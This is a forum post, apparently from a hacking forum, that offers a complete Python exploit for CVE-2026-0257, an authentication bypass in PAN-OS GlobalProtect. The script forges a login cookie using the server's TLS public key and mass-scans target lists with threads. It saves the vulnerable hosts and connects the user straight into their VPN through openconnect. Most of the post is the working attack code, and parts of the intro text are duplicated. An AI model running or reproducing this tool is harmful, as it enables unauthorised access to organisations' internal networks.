CVE-2026-0257 is an auth bypass in PAN-OS GlobalProtect. basically if the admin reused the same cert for both HTTPS and auth override cookies, you can grab the public key from TLS and
forge a cookie that logs you in. no password needed.
rapid7 wrote a good breakdown here
the scanner does two things - finds vuln targets and connects you straight into their VPN with one command. no manual openconnect fiddling.
requirements
that's it. if you are on kali it's probably already there.
This script have 2 modes , single and multi targets .
In single target,
if it's vuln you get:
hit c, type your sudo password, and you're in. it shows your assigned
ip, routes, dns, the works. hit enter to disconnect when you're done.
after disconnect, tun0 gets cleaned up. ctrl+c also kills the vpn.
In multi targets mode ,
targets file must be one IP : PORT per line
it scans everything, shows progress, saves vuln hits automatically. then gives you a list - arrow keys to pick, enter to connect.
every vuln target gets saved to cve-2026-0257-vuln.txt in this format. load it back anytime.
Thanks for reading and Enjoy.
./BeiDou
Here is exploit.py
forge a cookie that logs you in. no password needed.
rapid7 wrote a good breakdown here
the scanner does two things - finds vuln targets and connects you straight into their VPN with one command. no manual openconnect fiddling.
requirements
Code:
sudo apt install python3-cryptography openconnect
This script have 2 modes , single and multi targets .
In single target,
Code:
python3 exploit.py --st IP:PORT
Не удалось прогрузить медиа
hit c, type your sudo password, and you're in. it shows your assigned
ip, routes, dns, the works. hit enter to disconnect when you're done.
after disconnect, tun0 gets cleaned up. ctrl+c also kills the vpn.
In multi targets mode ,
targets file must be one IP : PORT per line
Code:
python3 exploit.py --mt targets.txt --threads 5
Не удалось прогрузить медиа
it scans everything, shows progress, saves vuln hits automatically. then gives you a list - arrow keys to pick, enter to connect.
Не удалось прогрузить медиа
every vuln target gets saved to cve-2026-0257-vuln.txt in this format. load it back anytime.
Code:
python3 exploit.py --vuln cve-2026-0257-vuln.txt
Thanks for reading and Enjoy.
./BeiDou
Here is exploit.py
Спойлер
Python:
#!/usr/bin/env python3
#CVE-2026-0257 PAN-OS GlobalProtect Scanner + VPN Connect
#Coded by ./BeiDou
import warnings
warnings.filterwarnings("ignore")
import argparse, base64, curses, getpass, hashlib, json, os, re, signal, socket, ssl, subprocess
import sys, threading, time, tempfile, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
VF = "cve-2026-0257-vuln.txt"
EF = "cve-2026-0257-export.txt"
def ni():
r = {"ip": "", "rt": [], "ns": []}
try:
x = subprocess.run(["ip", "addr", "show", "tun0"], capture_output=True, text=True, timeout=3)
for l in x.stdout.splitlines():
if "inet " in l: r["ip"] = l.strip().split()[1]
except: pass
try:
x = subprocess.run(["ip", "route"], capture_output=True, text=True, timeout=3)
for l in x.stdout.splitlines():
if "tun" in l: r["rt"].append(l.strip())
except: pass
try:
with open("/etc/resolv.conf") as f:
for l in f:
if l.startswith("nameserver"): r["ns"].append(l.split()[1])
except: pass
return r
def dc():
x = ni()
if x["ip"] or x["rt"]:
print("\n[!] Ctrl+C - disconnecting VPN...")
subprocess.run(["sudo", "pkill", "openconnect"], capture_output=True)
time.sleep(1)
sys.exit(0)
def si(sig, frm):
dc()
signal.signal(signal.SIGINT, si)
def gcc(h, p, to=8):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.maximum_version = ssl.TLSVersion.TLSv1_2
try:
with ctx.wrap_socket(socket.socket(), server_hostname=h) as s:
s.settimeout(to)
s.connect((h, p))
if hasattr(s, "get_unverified_chain"):
return [x509.load_der_x509_certificate(d) for d in s.get_unverified_chain()]
return []
except: return []
def gp(h, p, to=5):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.maximum_version = ssl.TLSVersion.TLSv1_2
try:
with ctx.wrap_socket(socket.socket(), server_hostname=h) as s:
s.settimeout(to)
s.connect((h, p))
d = s.getpeercert(binary_form=True)
c = x509.load_der_x509_certificate(d)
k = c.public_key().public_bytes(encoding=Encoding.DER, format=PublicFormat.SubjectPublicKeyInfo)
z = hashlib.sha256(k).digest()
return base64.b64encode(z).decode()
except: return None
def fc(k, u="admin"):
t = int(time.time())
x = f"{u};;Windows;;{t};0.0.0.0"
y = k.encrypt(x.encode(), padding.PKCS1v15())
return base64.b64encode(y).decode()
def tst(h, p, u, to=8):
c = gcc(h, p, to)
if not c: return None
for cert in c:
try: pk = cert.public_key()
except: continue
ck = fc(pk, u)
q = {
"prot": "https", "server": h, "inputStr": "",
"jnlpReady": "jnlpReady", "ok": "Login", "direct": "yes",
"clientVer": "4100", "user": u, "passwd": "",
"context": "gateway", "clientos": "Windows",
"clientgpversion": "6.0.0", "host-id": "", "computer": "",
"os-version": "Microsoft Windows 10 Pro 64-bit",
"portal-userauthcookie": ck, "portal-prelogonuserauthcookie": "",
}
b = urllib.parse.urlencode(q).encode()
z = f"https://{h}:{p}/ssl-vpn/login.esp"
rq = urllib.request.Request(z, data=b, method="POST")
rq.add_header("Content-Type", "application/x-www-form-urlencoded")
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
with urllib.request.urlopen(rq, context=ctx, timeout=to) as rp:
tx = rp.read().decode()
if "<argument>" in tx and u in tx:
a = re.findall(r"<argument>(.*?)</argument>", tx)
return {
"h": h, "p": p, "ck": ck,
"at": a[1] if len(a) > 1 else "",
"gw": a[3] if len(a) > 3 else "",
"am": a[5] if len(a) > 5 else "",
}
except: continue
return None
def cv(h, p, ck, u, sp):
x = gp(h, p, 5)
sc = f"--servercert=pin-sha256:{x}" if x else ""
z = f"https://{h}:{p}" if p != 443 else f"https://{h}"
cf = tempfile.NamedTemporaryFile(mode='w', suffix='.cookie', delete=False)
cf.write(ck)
cf.close()
s = f"""#!/bin/bash
(echo '{sp}'; cat {cf.name}) | sudo -S openconnect --protocol=gp --user={u} \
--usergroup=portal:portal-userauthcookie --os=win --background \
{sc} {z}
rm -f {cf.name}
"""
sf = tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False)
sf.write(s)
sf.close()
os.chmod(sf.name, 0o700)
subprocess.Popen(["/bin/bash", sf.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(4)
for _ in range(20):
x = ni()
if x["ip"] or x["rt"]: return True, []
time.sleep(1)
return False, []
def sv(v, ap=False):
m = "a" if ap else "w"
with open(VF, m) as f:
for r in v:
f.write(f"{r['h']}:{r['p']}|cookie={r['ck']}|gateway={r['gw']}|auth={r['am']}\n")
def lv(p):
v = []
with open(p) as f:
for ln in f:
ln = ln.strip()
if not ln: continue
x = ln.split("|")
hp = x[0].rsplit(":", 1)
h = hp[0]
p = int(hp[1]) if len(hp) > 1 else 443
ck = gw = am = ""
for y in x[1:]:
if y.startswith("cookie="): ck = y[7:]
elif y.startswith("gateway="): gw = y[8:]
elif y.startswith("auth="): am = y[5:]
v.append({"h": h, "p": p, "ck": ck, "gw": gw, "am": am})
return v
def pr(r):
q = []
for t in r.splitlines():
t = t.strip()
if not t or t.startswith("#"): continue
if ":" in t:
h, p = t.rsplit(":", 1)
try: q.append((h, int(p)))
except: q.append((t, 443))
else: q.append((t, 443))
return q
def cs(v, ti="Select a vulnerable target"):
try: return curses.wrapper(_sl, v, ti)
except: return _cl(v, ti)
def _cl(v, ti):
print(f"\n{ti}:")
for i, x in enumerate(v):
print(f" [{i}] {x['h']}:{x['p']} gw={x['gw']} auth={x['am']}")
print(" [q] quit")
while True:
ch = input(" Select: ").strip()
if ch.lower() == "q": return -1
try:
idx = int(ch)
if 0 <= idx < len(v): return idx
except: pass
print(" Invalid")
def _sl(w, v, ti):
curses.curs_set(0)
try:
curses.init_pair(1, curses.COLOR_RED, -1)
curses.init_pair(2, curses.COLOR_GREEN, -1)
curses.init_pair(3, curses.COLOR_CYAN, -1)
curses.init_pair(4, curses.COLOR_YELLOW, -1)
except: pass
pos = 0
while True:
w.erase()
H, W = w.getmaxyx()
try: w.addstr(0, 2, ti, curses.color_pair(3) | curses.A_BOLD)
except: pass
try: w.addstr(1, 2, "=" * (W - 4), curses.color_pair(3))
except: pass
st = max(0, pos - max(0, H - 5) // 2)
en = min(len(v), st + max(0, H - 5))
for i in range(st, en):
y = 3 + i - st
x = v[i]
ln = f" {x['h']}:{x['p']} gateway={x['gw']} auth={x['am']}"[:W-4]
if i == pos:
try: w.addstr(y, 2, "> " + ln, curses.A_REVERSE)
except: pass
else:
try: w.addstr(y, 2, ln)
except: pass
ft = " UP/DOWN: navigate ENTER: select q: quit"
try: w.addstr(H - 2, 2, ft, curses.color_pair(4))
except: pass
w.refresh()
k = w.getch()
if k in (ord("q"), ord("Q"), 27): return -1
if k in (curses.KEY_UP, ord("k")): pos = max(0, pos - 1)
if k in (curses.KEY_DOWN, ord("j")): pos = min(len(v) - 1, pos + 1)
if k in (10, 13): return pos
def ms(h, p, a):
print(f"\n[*] Testing {h}:{p} ...", end=" ", flush=True)
r = tst(h, p, a.user, a.timeout)
if r:
sv([r], ap=True)
print(f"VULN gw={r['gw']} auth={r['am']}")
print(f" Cookie: {r['ck'][:80]}...")
print(f" [c] Connect [e] Export [q] Back")
while True:
ch = input(" > ").strip().lower()
if ch == "c":
sp = getpass.getpass(" Sudo password: ")
print(f" Connecting...")
ok, _ = cv(h, p, r["ck"], a.user, sp)
if ok:
print(f"\n CONNECTED!")
z = ni()
if z["ip"]: print(f" IP: {z['ip']}")
if z["rt"]:
print(f" Routes:")
for w in z["rt"]: print(f" {w}")
if z["ns"]: print(f" DNS: {', '.join(z['ns'])}")
input("\n Press Enter to disconnect...")
dc()
z2 = ni()
if not z2["ip"]: print(f" DISCONNECTED")
else:
print(f" Connection failed")
elif ch == "e":
with open(EF, "w") as f:
f.write(f"{r['h']}:{r['p']}|cookie={r['ck']}|gateway={r['gw']}|auth={r['am']}\n")
print(f" Exported to {EF}")
elif ch == "q": break
else:
print(f"NOT VULNERABLE")
def mm(a):
with open(a.mt) as f: raw = f.read()
tg = pr(raw)
v = []
n = len(tg)
d = 0
print(f"\n[*] Scanning {n} targets ({a.threads} threads)...\n")
with ThreadPoolExecutor(max_workers=a.threads) as ex:
ft = {ex.submit(tst, h, p, a.user, a.timeout): (h, p) for h, p in tg}
for fu in as_completed(ft):
h, p = ft[fu]
d += 1
try:
r = fu.result(timeout=a.timeout + 5)
if r:
v.append(r)
sys.stdout.write("\r\033[K")
print(f"VULN {h}:{p} gw={r['gw']} auth={r['am']}")
except: pass
sys.stdout.write(f"\r\033[K [{d}/{n}] {len(v)} vuln found")
sys.stdout.flush()
sys.stdout.write("\r\033[K")
print(f"\n[*] Done. {len(v)}/{n} vulnerable")
if v:
sv(v)
print(f"[+] Saved to {VF}\n")
idx = cs(v, f"Vulnerable Targets ({len(v)}) - Select to Connect")
if idx >= 0:
r = v[idx]
h, p = r["h"], r["p"]
print(f"\n[*] Selected: {h}:{p}")
print(f"[*] Gateway: {r['gw']}")
sp = getpass.getpass("Sudo password: ")
print(f"[*] Connecting...")
ok, _ = cv(h, p, r["ck"], a.user, sp)
if ok:
print(f"\nCONNECTED!")
z = ni()
if z["ip"]: print(f" IP: {z['ip']}")
if z["rt"]:
print(f" Routes:")
for w in z["rt"]: print(f" {w}")
if z["ns"]: print(f" DNS: {', '.join(z['ns'])}")
input("\n Press Enter to disconnect...")
dc()
print(f"DISCONNECTED")
else:
print(f"Connection failed")
def mv(a):
v = lv(a.vuln)
if not v:
print("No vulnerable targets in file.")
return
print(f"\n[*] Loaded {len(v)} targets from {a.vuln}")
idx = cs(v, f"Vulnerable Targets ({len(v)}) - Select to Connect")
if idx >= 0:
r = v[idx]
h, p = r["h"], r["p"]
print(f"\n[*] Selected: {h}:{p}")
print(f"[*] Gateway: {r['gw']}")
sp = getpass.getpass("Sudo password: ")
print(f"[*] Connecting...")
ok, _ = cv(h, p, r["ck"], "admin", sp)
if ok:
print(f"\nCONNECTED!")
z = ni()
if z["ip"]: print(f" IP: {z['ip']}")
if z["rt"]:
print(f" Routes:")
for w in z["rt"]: print(f" {w}")
if z["ns"]: print(f" DNS: {', '.join(z['ns'])}")
input("\n Press Enter to disconnect...")
dc()
print(f"DISCONNECTED")
else:
print(f"Connection failed")
def main():
ap = argparse.ArgumentParser(description="CVE-2026-0257 PAN-OS Scanner + VPN Connect |Coded by ./BeiDou")
ap.add_argument("--st", help="Single target (IP:PORT)")
ap.add_argument("--mt", help="Multi targets file (IP:PORT per line)")
ap.add_argument("--vuln", help="Vuln targets file")
ap.add_argument("--threads", type=int, default=20)
ap.add_argument("--timeout", type=int, default=6)
ap.add_argument("--user", default="admin")
a = ap.parse_args()
if a.st:
if ":" in a.st:
h, p = a.st.rsplit(":", 1)
try: p = int(p)
except: p = 443
else: h, p = a.st, 443
ms(h, p, a)
elif a.mt: mm(a)
elif a.vuln: mv(a)
else: ap.print_help()
if __name__ == "__main__":
main()
👍8
🔥1
😮1
💯2
LIMB